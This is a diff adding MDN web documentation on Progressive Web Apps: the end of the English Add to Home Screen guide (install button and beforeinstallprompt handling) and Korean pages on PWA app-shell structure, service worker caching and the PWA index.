+<p>As shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app. You can include more sizes if you want; Android will choose the most appropriate size for each different use case. You could also decide to include different types of icons so devices can use the best one they are able to (e.g., Chrome already supports the WebP format).</p>
+
+<p>Note that the <code>type</code> member in each icon's object specifies the icon's mimetype, so the browser can quickly read what type the icon is, and then ignore it and move to a different icon if it doesn't support it.</p>
+
+<p>In terms of how to design the icon, you should follow the same best practices you'd follow for any Android icon (see the <a href="https://developer.android.com/guide/practices/ui_guidelines/icon_design.html">Android icon design guidelines</a>).</p>
+
+<h3 id="Link_the_HTML_to_the_manifest">Link the HTML to the manifest</h3>
+
+<p>To finish setting up your manifest, you need to reference it from the HTML of your application's home page:</p>
+
+<pre class="brush: html">&lt;<span class="pl-ent">link</span> <span class="pl-e">rel</span>=<span class="pl-s"><span class="pl-pds">"</span>manifest<span class="pl-pds">"</span></span> <span class="pl-e">href</span>=<span class="pl-s"><span class="pl-pds">"</span>manifest.webmanifest<span class="pl-pds">"</span></span>&gt;</pre>
+
+<p>Browsers that support A2HS will know where to look for your manifest once this is in place.</p>
+
+<h2 id="What_does_A2HS_not_give_you">What does A2HS not give you?</h2>
+
+<p>Bear in mind that when you add an app to your Home screen, it just makes the app easily accessible — it doesn't download the app's assets and data to your device and make the app available offline, or anything like that. To make your app work offline, you have to use the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> to handle storing the assets offline, and if required, <a href="/en-US/docs/Web/API/Web_Storage_API">Web storage</a> or <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> to store its data.</p>
+
+<p>In our example app, we've just used a service worker to store all necessary files. The service worker is registered against the site with the final code block in the <code><a href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js">index.js</a></code> file. We then cache all the site's assets using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>, and serve them from the cache instead of the network using the code in the <a href="https://github.com/mdn/pwa-examples/blob/master/a2hs/sw.js">sw.js</a> file.</p>
+
+<h2 id="A2HS_on_desktop">A2HS on desktop</h2>
+
+<p>While originally intended to improve user experience on mobile OSes, there is movement to make PWAs installable on desktop platforms too.</p>
+
+<div class="note">
+<p><strong>Note</strong>: At the time of writing, the functionality described below was only supported in newer versions of Chrome — by default on Windows, and behind the <code>#enable-desktop-pwas</code> flag on macOS.</p>
+</div>
+
+<h3 id="Adding_an_install_button">Adding an install button</h3>
+
+<p>To make our PWA installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture:</p>
+
+<pre class="brush: html">&lt;button class="add-button"&gt;Add to home screen&lt;/button&gt;</pre>
+
+<p>We then gave it some simple styling:</p>
+
+<pre class="brush: css">.add-button {
+  position: absolute;
+  top: 1px;
+  left: 1px;
+}</pre>
+
+<h3 id="JavaScript_for_handling_the_install">JavaScript for handling the install</h3>
+
+<p>At the bottom of our <a href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js"><code>index.js</code> file</a>, we added some JavaScript to handle the installation. First of all, we declare a <code>deferredPrompt</code> variable (which we'll explain later on), get a reference to our install button, and set it to <code>display: none</code> initially:</p>
+
+<pre class="brush: js">let deferredPrompt;
+const addBtn = document.querySelector('.add-button');
+addBtn.style.display = 'none';</pre>
+
+<p>We hide the button initially because the PWA will not be available for install until it follows the A2HS criteria. When this happens, supporting browsers will fire a <code>beforeinstallprompt</code> event. We can then use a handler like the one below to handle the installation:</p>
+
+<pre class="brush: js">window.addEventListener('beforeinstallprompt', (e) =&gt; {
+  // Prevent Chrome 67 and earlier from automatically showing the prompt
+  e.preventDefault();
+  // Stash the event so it can be triggered later.
+  deferredPrompt = e;
+  // Update UI to notify the user they can add to home screen
+  addBtn.style.display = 'block';
+
+  addBtn.addEventListener('click', (e) =&gt; {
+    // hide our user interface that shows our A2HS button
+    addBtn.style.display = 'none';
+    // Show the prompt
+    deferredPrompt.prompt();
+    // Wait for the user to respond to the prompt
+    deferredPrompt.userChoice.then((choiceResult) =&gt; {
+        if (choiceResult.outcome === 'accepted') {
+          console.log('User accepted the A2HS prompt');
+        } else {
+          console.log('User dismissed the A2HS prompt');
+        }
+        deferredPrompt = null;
+      });
+  });
+});</pre>
+
+<p>So here we:</p>
+
+<ul>
+ <li>Call {{domxref("Event.preventDefault()")}} to stop Chrome 67 and earlier from calling the install prompt automatically (this behavior changed in Chrome 68).</li>
+ <li>Store the event object in the <code>deferredPrompt</code> variable so it can be used later on to perform the actual installation.</li>
+ <li>Set the button to <code>display: block</code> so it appears in the UI for the user to click.</li>
+ <li>Set a <code>click</code> handler for the button.</li>
+</ul>
+
+<p>The click handler contains the following steps:</p>
+
+<ul>
+ <li>Hide the button again with <code>display: none</code> — it is no longer needed once the app is installed.</li>
+ <li>Use the <code>prompt()</code> method available on the <code>beforeinstallprompt</code> event object (stored in <code>deferredPrompt</code>) to trigger showing the install prompt.</li>
+ <li>Respond to the user's interaction with the prompt using the <code>userChoice</code> property, again available on the <code>beforeinstallprompt</code> event object.</li>
+ <li>Set <code>deferredPrompt</code> to null since it is no longer needed.</li>
+</ul>
+
+<p>So when the button is clicked, the install prompt appears.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16281/chrome-desktop-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 163px; margin: 0px auto; width: 300px;"></p>
+
+<p>If the user selects <em>Install</em>, the app is installed (available as standalone desktop app), and the Install button no longer shows (the <code>onbeforeinstallprompt</code> event no longer fires if the app is already installed). When you open the app, it will appear in its own window:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16280/a2hs-installed-desktop.png" style="border-style: solid; border-width: 1px; display: block; height: 296px; margin: 0px auto; width: 500px;"></p>
+
+<p>If the user selects <em>Cancel</em>, the state of the app goes back to how it was before the button was clicked.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The code for this section was mostly taken from <a href="https://developers.google.com/web/fundamentals/app-install-banners/">App install banners/Add to Home Screen</a> by Pete LaPage.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps">Progressive web apps</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+ <li><a href="/en-US/docs/Web/Manifest">Web manifest reference</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/app-install-banners/">App install banners</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/ko/web/progressive_web_apps/app_structure/index.html b/files/ko/web/progressive_web_apps/app_structure/index.html
new file mode 100644
index 0000000000..b50a62e724
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/app_structure/index.html
@@ -0,0 +1,283 @@
+---
+title: 프로그레시브 웹 앱 구조
+slug: Web/Progressive_web_apps/App_structure
+tags:
+  - App shell
+  - PWA
+  - Service Workers
+  - Streams
+  - js13kGames
+  - 구조
+  - 프로그레시브
+  - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/App_structure
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Introduction", "Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">이제 우리는 PWA의 원리에 대해 알고 있습니다. 실제 앱의 권장 구조에 대해 살펴봅시다. 우리는 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 어플리케이션을 왜 그렇게 구축하였는지, 그리고 무슨 이점이 있는지 분석하는 것으로 시작할 것입니다.</p>
+
+<h2 id="앱의_구조">앱의 구조</h2>
+
+<p>웹 사이트를 렌더링하는 것에는 서버 사이드와 클라이언트 사이드라는 두 가지 다른 접근법이 있습니다. 이 둘 모두 장점과 단점을 갖고 있으며, 여러분은 이 두 접근법을 적절히 혼합할 수 있습니다.</p>
+
+<ul>
+ <li>서버 사이드 렌더링(SSR)은 웹사이트가 서버에서 렌더링되는 것을 의미합니다. 따라서 더 빠른 첫 로딩을 제공할 수 있지만, 페이지간의 이동에서 모든것들을 매번 다운로드해야합니다. 브라우저를 넘어 훌륭하게 동작하고 개발 프로세스를 돕는 많은 도구들이 있지만, 각 페이지를 로딩할 때마다 서버를 거쳐야 한다는 점에서 로딩 속도 및 성능으로 인식되는 일반적인 측면에서 어려움이 있습니다.</li>
+ <li>클라이언트 사이드 렌더링(CSR)은 웹 사이트가 다른 페이지로 이동할 때 브라우저에서 거의 즉시 업데이트될 수 있도록 해주지만, 시작할 때 더 많은 초기 다운로드와 추가 렌더링이 필요합니다. 웹사이트는 첫 방문시 더 느리지만 다음 방문에서 훨씬 빠릅니다.</li>
+</ul>
+
+<p>SSR과 CSR을 혼합하여 서버에서 웹 사이트를 렌더링하고, 컨텐츠를 캐싱한 후, 필요할 때 클라이언트 사이드에서 렌더링을 업데이트하여 최고의 결과를 이끌어 낼 수 있습니다. 첫 페이지 로딩은 SSR때문에 빠르고, 페이지간의 이동은 클라이언트에서 변경된 부분만 다시 렌더링하므로 부드럽습니다.</p>
+
+<p>여러분이 선호하는 접근법을 사용해 PWA를 구축할 수 있지만, 다른 것들보다 더 잘 동작하는 몇 가지 방법이 있습니다. 가장 유명한 접근법은 바로 위에서 설명한 SSR과 CSR을 혼합한 "app shell" 개념이며, 그 다음으로 "오프라인 우선" 방법론입니다. 이는 우리의 예제 앱을 사용해 다음 문서에서 자세한 내용에 대해 설명할 것입니다. 간략히 설명드릴 <a href="/ko/docs/Web/API/Streams_API">Streams API</a>를 포함하는 새로운 접근법도 있습니다.</p>
+
+<h2 id="App_shell">App shell</h2>
+
+<p>App shell 개념은 가능한 최소한의 사용자 인터페이스를 로딩하는것에 중점을 두고 있으며, 이를 캐싱하여 다음 방문에서 앱의 모든 컨텐츠가 로딩되기 전에 오프라인에서도 사용이 가능합니다. 이렇게 하면 다음에 누군가 기기로부터 앱에 방문할 때, UI는 캐시로부터 즉시 로딩되고 새로운 컨텐츠는 서버로부터 요청합니다(캐시에서 이미 사용할 수 없는 경우).</p>
+
+<p>이 구조는 빠르고, 사용자가 로딩 스피너나 빈 페이지 대신 "무언가"를 즉시 보게됨으로써 속도가 빠름을 느낄 수 있습니다. 또한 네트워크 연결이 불가할 때 웹사이트를 오프라인에서도 접근할 수 있도록 허용합니다.</p>
+
+<p>우리는 서버로부터 요청된 것과 <a href="/ko/docs/Web/API/Service_Worker_API">service worker</a>를 사용해 캐시된 것으로부터 받은 것들을 제어할 수 있습니다. 다음 문서에서 자세한 내용에 대해 설명할 것입니다. 지금은 구조 자체에 대해 집중합시다.</p>
+
+<h3 id="이걸_사용해야_하는_이유가_무엇인가요">이걸 사용해야 하는 이유가 무엇인가요?</h3>
+
+<p>이 구조는 웹 사이트에 모든 PWA 기능들로부터 최고의 이점을 제공합니다. App shell을 캐싱하고 동적인 컨텐츠를 관리하여 훌륭하게 성능을 향상시킵니다. 기본 shell과 더불어, 앱이 사용자들의 브라우저에서 지원되지 않을 때도 여전히 사용하다는 전제하에 <a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가</a> 또는 <a href="/ko/docs/Web/API/Push_API">푸시 알림</a>과 같은 다른 기능들도 추가할 수 있습니다. 이 점이 점진적인 향상의 아름다움입니다.</p>
+
+<p>웹 사이트는 웹의 이점들을 모두 유지하면서 즉각적인 반응과 견고한 성능을 가진 네이티브 앱처럼 느껴집니다.</p>
+
+<h3 id="연결_가능하며_점진적이고_디자인에_반응하는_것">연결 가능하며, 점진적이고 디자인에 반응하는 것</h3>
+
+<p>어플리케이션을 디자인할 때 PWA의 이점을 기억하고 이를 유지하는 것이 중요합니다. App shell 접근법은 웹 사이트가 다음과 같이 될 수 있도록 허용합니다.</p>
+
+<ul>
+ <li>연결 가능: 네이티브 앱처럼 동작한다고해도 이는 여전히 웹 사이트입니다. 여러분은 페이지의 링크를 클릭할 수 있고, 누군가에게 URL을 공유할 수 있습니다.</li>
+ <li>점진적: "좋은 오래된 기본적인 웹사이트"로 시작해서 새로운 기능을 점진적으로 추가하되, 브라우저에서 지원하지 않는 기능을 감지하고 이에 대한 적절한 에러 처리를 할 것을 기억하시기 바랍니다. 예를 들어, service worker의 도움을 통한 오프라인 모드는 더 나은 웹 사이트 경험을 제공하는 부가적인 특성일 뿐, 없어도 충분히 사용이 가능합니다.</li>
+ <li>반응형: 반응형 웹 디자인 또한 프로그레시브 웹 앱에 적용됩니다. 둘 다 주로 모바일 기기에 해당됩니다. 기기와 브라우저는 아주 다양합니다. 따라서 <a href="/ko/docs/Mozilla/Mobile/Viewport_meta_tag">뷰포트 meta 태그</a>, <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">CSS 미디어 쿼리</a>, <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> 와 같은 기술들을 사용해 여러분의 웹사이트를 다양한 화면 크기, 뷰포트 또는 픽셀 밀도에서 동작하도록 준비하는 것이 중요합니다.</li>
+</ul>
+
+<h2 id="다른_개념_streams">다른 개념: streams</h2>
+
+<p><a href="/ko/docs/Web/API/Streams_API">Streams API</a>를 사용해 완전히 다른 방식으로 서버 또는 클라이언트 사이드 렌더링 수행할 수 있습니다. Service worker로부터의 약간 도움으로 우리는 컨텐츠를 분석하는 방법을 크게 향상시킬 수 있습니다.</p>
+
+<p>App shell 모델은 사용할 모든 리소스를 웹 사이트가 렌더링을 시작하기 전에 필요로합니다. 이는 브라우저가 실제로 데이터를 스트리밍하고 엘리먼트가 웹 사이트에 로드되고 렌더링되었을 때 여러분이 볼 수 있으므로 HTML과 다릅니다. 하지만, JavaScript를 "동작 가능하게" 하려면, 이를 전체적으로 다운로드해야 합니다.</p>
+
+<p>Streams API는 개발자가 서버로부터의 데이터 스트리밍에 직접 접근할 수 있도록 해줍니다. 여러분이 데이터에 대한 작업을 수행하길 원할 경우(비디오에 필터를 추가하는 것과 같은), 모든 데이터의 다운로드 및 blob로의 변환(어떤 타입으로든)을 기다릴 필요없이 바로 시작할 수 있습니다. Streams API는 시작, 다른 stream으로 연결, 취소, 에러 확인 등의 세분화된 컨트롤을 제공합니다.</p>
+
+<p>이론적으로 스트리밍은 더 나은 모델이지만, 더 복잡하며 글을 작성하는 시점(2018년 3월)에서 Streams API는 여전히 작업중이며 모든 주요 브라우저에서 아직 완전하게 사용이 가능하지 않습니다. 사용이 가능해지면 이는 컨텐츠를 제공하는 가장 빠른 방법이 될 것입니다. 성능 측면에서 아주 큰 이점을 갖게 될 것입니다.</p>
+
+<p>작동하는 예제와 자세한 내용은 <a href="/ko/docs/Web/API/Streams_API">Streams API 문서</a>를 확인하시기 바랍니다.</p>
+
+<h2 id="예제_어플리케이션의_구조">예제 어플리케이션의 구조</h2>
+
+<p><a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 웹 사이트 구조는 아주 간단합니다. 하나의 HTML 파일(<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/index.html">index.html</a>)과 기본적인 CSS 스타일링(<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/style.css">style.css</a>), 몇 가지 이미지, 스크립트, 폰트로 구성되어 있습니다. 폴더 구조는 다음과 같습니다.</p>
+
+<p><img alt="Folder structure of js13kPWA." src="https://mdn.mozillademos.org/files/15925/js13kpwa-directory.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 320px;"></p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML의 관점에서보면 app shell은 컨텐츠 섹션 외부의 모든 영역입니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+	&lt;meta charset="utf-8"&gt;
+	&lt;title&gt;js13kGames A-Frame entries&lt;/title&gt;
+	&lt;meta name="description" content="A list of A-Frame entries submitted to the js13kGames 2017 competition, used as an example for the MDN articles about Progressive Web Apps."&gt;
+	&lt;meta name="author" content="end3r"&gt;
+	&lt;meta name="theme-color" content="#B12A34"&gt;
+	&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+	&lt;meta property="og:image" content="icons/icon-512.png"&gt;
+	&lt;link rel="shortcut icon" href="favicon.ico"&gt;
+	&lt;link rel="stylesheet" href="style.css"&gt;
+	&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;
+	&lt;script src="data/games.js" defer&gt;&lt;/script&gt;
+	&lt;script src="app.js" defer&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;header&gt;
+	&lt;p&gt;&lt;a class="logo" href="http://js13kgames.com"&gt;&lt;img src="img/js13kgames.png" alt="js13kGames"&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;/header&gt;
+&lt;main&gt;
+	&lt;h1&gt;js13kGames A-Frame entries&lt;/h1&gt;
+	&lt;p class="description"&gt;List of games submitted to the &lt;a href="http://js13kgames.com/aframe"&gt;A-Frame category&lt;/a&gt; in the &lt;a href="http://2017.js13kgames.com"&gt;js13kGames 2017&lt;/a&gt; competition. You can &lt;a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"&gt;fork js13kPWA on GitHub&lt;/a&gt; to check its source code.&lt;/p&gt;
+	&lt;button id="notifications"&gt;Request dummy notifications&lt;/button&gt;
+	&lt;section id="content"&gt;
+		// Content inserted in here
+	&lt;/section&gt;
+&lt;/main&gt;
+&lt;footer&gt;
+	&lt;p&gt;© js13kGames 2012-2018, created and maintained by &lt;a href="http://end3r.com"&gt;Andrzej Mazur&lt;/a&gt; from &lt;a href="http://enclavegames.com"&gt;Enclave Games&lt;/a&gt;.&lt;/p&gt;
+&lt;/footer&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{htmlelement("head")}} 섹션은 title, description, CSS 링크, 웹 manifest, games 컨텐츠 JS 파일, app.js 파일을 포함합니다. JavaScript 어플리케이션이 초기화되는 곳이기도 합니다. {{htmlelement("body")}}는 {{htmlelement("header")}}(연결된 이미지를 포함), {{htmlelement("main")}}페이지(title, description, 컨텐츠를 위한 공간), {{htmlelement("footer")}}(저작권 및 링크)로 나누어져 있습니다.</p>
+
+<p>app의 유일한 작업은 js13kGames 2017 대회의 A-Frame 항목을 모두 나열하는 것입니다. 보시다시피 매우 평범하고, 한 페이지 웹 사이트 입니다. 중요한 것은 실제 PWA 기능들의 구현에 집중할 수 있는 무언가 간단한 것을 갖는 것입니다.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>CSS도 평범합니다. {{cssxref("@font-face")}}를 사용해 커스텀 폰트를 로딩 및 사용하고, 몇 가지 HTML 엘리먼트에 간단한 스타일을 적용합니다. 전반적인 접근은 모바일(반응형 웹 디자인 접근법)과 데스크탑 기기 모두에서 괜찮게 보이도록 하는 것입니다.</p>
+
+<h3 id="메인_앱_JavaScript">메인 앱 JavaScript</h3>
+
+<p>app.js 파일은 다음 문서에서 자세히 살펴볼 몇 가지 것들을 합니다. 먼저, 다음 템플릿을 기반으로 컨텐츠를 생성합니다.</p>
+
+<pre class="brush: js">var template = "&lt;article&gt;\n\
+    &lt;img src='data/img/SLUG.jpg' alt='NAME'&gt;\n\
+    &lt;h3&gt;#POS. NAME&lt;/h3&gt;\n\
+    &lt;ul&gt;\n\
+    &lt;li&gt;&lt;span&gt;Author:&lt;/span&gt; &lt;strong&gt;AUTHOR&lt;/strong&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;Twitter:&lt;/span&gt; &lt;a href='https://twitter.com/TWITTER'&gt;@TWITTER&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;Website:&lt;/span&gt; &lt;a href='http://WEBSITE/'&gt;WEBSITE&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;GitHub:&lt;/span&gt; &lt;a href='https://GITHUB'&gt;GITHUB&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;More:&lt;/span&gt; &lt;a href='http://js13kgames.com/entries/SLUG'&gt;js13kgames.com/entries/SLUG&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;/ul&gt;\n\
+&lt;/article&gt;";
+var content = '';
+for(var i=0; i&lt;games.length; i++) {
+    var entry = template.replace(/POS/g,(i+1))
+        .replace(/SLUG/g,games[i].slug)
+        .replace(/NAME/g,games[i].name)
+        .replace(/AUTHOR/g,games[i].author)
+        .replace(/TWITTER/g,games[i].twitter)
+        .replace(/WEBSITE/g,games[i].website)
+        .replace(/GITHUB/g,games[i].github);
+    entry = entry.replace('&lt;a href=\'http:///\'&gt;&lt;/a&gt;','-');
+    content += entry;
+};
+document.getElementById('content').innerHTML = content;</pre>
+
+<p>다음으로, service worker를 등록합니다.</p>
+
+<pre class="brush: js">if('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>다음 코드 블럭은 버튼을 클릭했을 때 알림에 대한 권한을 요청합니다.</p>
+
+<pre class="brush: js">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});</pre>
+
+<p>마지막 블럭은 게임 리스트로부터 랜덤하게 선택된 항목을 나타내는 알림을 생성합니다.</p>
+
+<pre class="brush: js">function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Created by '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}</pre>
+
+<h3 id="Service_worker">Service worker</h3>
+
+<p>빠르게 살펴볼 마지막 파일(sw.js)은 service worker입니다. 이는 먼저 games.js 파일로부터 데이터를 불러옵니다.</p>
+
+<pre class="brush: js">self.importScripts('data/games.js');</pre>
+
+<p>다음으로, app shell과 컨텐츠 모두로부터 캐싱할 모든 파일의 리스트를 생성합니다.</p>
+
+<pre class="brush: js">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+  '/pwa-examples/js13kpwa/',
+  '/pwa-examples/js13kpwa/index.html',
+  '/pwa-examples/js13kpwa/app.js',
+  '/pwa-examples/js13kpwa/style.css',
+  '/pwa-examples/js13kpwa/fonts/graduate.eot',
+  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+  '/pwa-examples/js13kpwa/fonts/graduate.woff',
+  '/pwa-examples/js13kpwa/favicon.ico',
+  '/pwa-examples/js13kpwa/img/js13kgames.png',
+  '/pwa-examples/js13kpwa/img/bg.png',
+  '/pwa-examples/js13kpwa/icons/icon-32.png',
+  '/pwa-examples/js13kpwa/icons/icon-64.png',
+  '/pwa-examples/js13kpwa/icons/icon-96.png',
+  '/pwa-examples/js13kpwa/icons/icon-128.png',
+  '/pwa-examples/js13kpwa/icons/icon-168.png',
+  '/pwa-examples/js13kpwa/icons/icon-192.png',
+  '/pwa-examples/js13kpwa/icons/icon-256.png',
+  '/pwa-examples/js13kpwa/icons/icon-512.png'
+];
+var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>다음 블럭은 service worker를 설치하여 위의 목록에 포함된 모든 파일을 실제로 캐싱합니다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(e) {
+  console.log('[Service Worker] Install');
+  e.waitUntil(
+    caches.open(cacheName).then(function(cache) {
+      console.log('[Service Worker] Caching all: app shell and content');
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>마지막으로, service worker는 가능한 경우 캐시로부터 컨텐츠를 패치하여 오프라인 기능을 제공합니다.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(e) {
+  e.respondWith(
+    caches.match(e.request).then(function(r) {
+      console.log('[Service Worker] Fetching resource: '+e.request.url);
+      return r || fetch(e.request).then(function(response) {
+        return caches.open(cacheName).then(function(cache) {
+          console.log('[Service Worker] Caching new resource: '+e.request.url);
+          cache.put(e.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<h3 id="JavaScript_데이터">JavaScript 데이터</h3>
+
+<p>게임 데이터는 JavaScript 객체(<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/data/games.js">games.js</a>)의 data 폴더에 있습니다.</p>
+
+<pre class="brush: js">var games = [
+    {
+        slug: 'lost-in-cyberspace',
+        name: 'Lost in Cyberspace',
+        author: 'Zosia and Bartek',
+        twitter: 'bartaz',
+        website: '',
+        github: 'github.com/bartaz/lost-in-cyberspace'
+    },
+    {
+        slug: 'vernissage',
+        name: 'Vernissage',
+        author: 'Platane',
+        twitter: 'platane_',
+        website: 'github.com/Platane',
+        github: 'github.com/Platane/js13k-2017'
+    },
+// ...
+    {
+        slug: 'emma-3d',
+        name: 'Emma-3D',
+        author: 'Prateek Roushan',
+        twitter: '',
+        website: '',
+        github: 'github.com/coderprateek/Emma-3D'
+    }
+];</pre>
+
+<p>모든 항목은 data/img 폴더안의 각각의 이미지를 갖고 있습니다. 이는 JavaScript를 사용해 컨텐츠 섹션으로 로딩될 컨텐츠입니다.</p>
+
+<h2 id="다음으로">다음으로</h2>
+
+<p>다음 문서에서는 service worker의 도움을 통한 오프라인 사용을 위해 app shell과 컨텐츠가 어떻게 캐싱되는지에 대해 더 자세히 살펴볼 것입니다.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Introduction", "Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/index.html b/files/ko/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..c07ad4434d
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/index.html
@@ -0,0 +1,76 @@
+---
+title: 프로그레시브 웹 앱
+slug: Web/Progressive_web_apps
+tags:
+  - 앱
+  - 최신 웹 앱
+  - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps
+---
+<p class="summary">프로그레시브 웹 앱은 최신 웹 API와 전통적인 점진적 개선 전략을 함께 사용해 크로스 플랫폼 웹 어플리케이션을 생성합니다. 이러한 앱은 어디서든 동작하며 네이티브 앱에서의 사용자 경험 이점과 동일한 몇 가지 기능들을 제공합니다. 이 문서에서는 이에 대해 여러분이 알아야 할 모든 것들에 대해 알려드립니다.</p>
+
+<h2 id="PWA_이점">PWA 이점</h2>
+
+<p>PWA는 발견 가능, 설치 가능, 연결 가능해야 하고, 네트워크에 독립적이어야 하고, 점진적이고 재참여가 가능해야하며 반응형이고 안전해야 합니다. 이러한 것들이 무엇을 의미하는지는 <a href="/ko/docs/Web/Apps/Progressive/Advantages">프로그레시브 웹 앱 이점</a> 문서를 읽어보시기 바랍니다. PWA를 구현하는 방법은 아래 섹션에 나열된 가이드를 참조하십시오.</p>
+
+<h2 id="핵심_PWA_가이드">핵심 PWA 가이드</h2>
+
+<p>다음 가이드는 간단한 예제를 살펴보고 모든 조각이 어떻게 동작하는지 보여줌으로써 PWA 구현을 위해 해야하는 것들이 무엇인지 보여줍니다.</p>
+
+<ol>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Introduction">프로그레시브 웹 앱 소개</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/App_structure">프로그레시브 웹 앱 구조</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Offline_Service_workers">Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Installable_PWAs">PWA를 설치가능하게 만드는 방법</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Re-engageable_Notifications_Push">알림과 푸시를 사용해 PWA를 재참여(re-engageable)가능하게 만드는 방법</a></li>
+</ol>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="기술_가이드">기술 가이드</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">클라이언트 사이드 저장소</a> — 웹 저장소, IndexedDB, service worker를 언제 어떻게 사용하는지 보여주는 상세 가이드</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service worker 사용</a> — Service Worker API에 대한 더 자세한 가이드.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB">IndexedDB 사용</a> — IndexedDB의 근본에 대한 자세한 설명.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용</a> — 간단하게 만들어진 Web storage API.</li>
+ <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Application Shell 구조를 사용한 웹 앱 즉시 로딩</a> — App Shell 코딩 패턴을 사용해 빠르게 로딩되는 앱을 생성하는 가이드.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Push_API/Using_the_Push_API">Push API 사용</a> — Web Push API의 기초에 대해 배우기.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Notifications_API/Using_the_Notifications_API">Notifications API 사용</a> — 웹 알림 요약.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">반응형 디자인 블록 구축</a> — 반응형 디자인 기초, 최신 앱 레이아웃 필수 주제 배우기.</li>
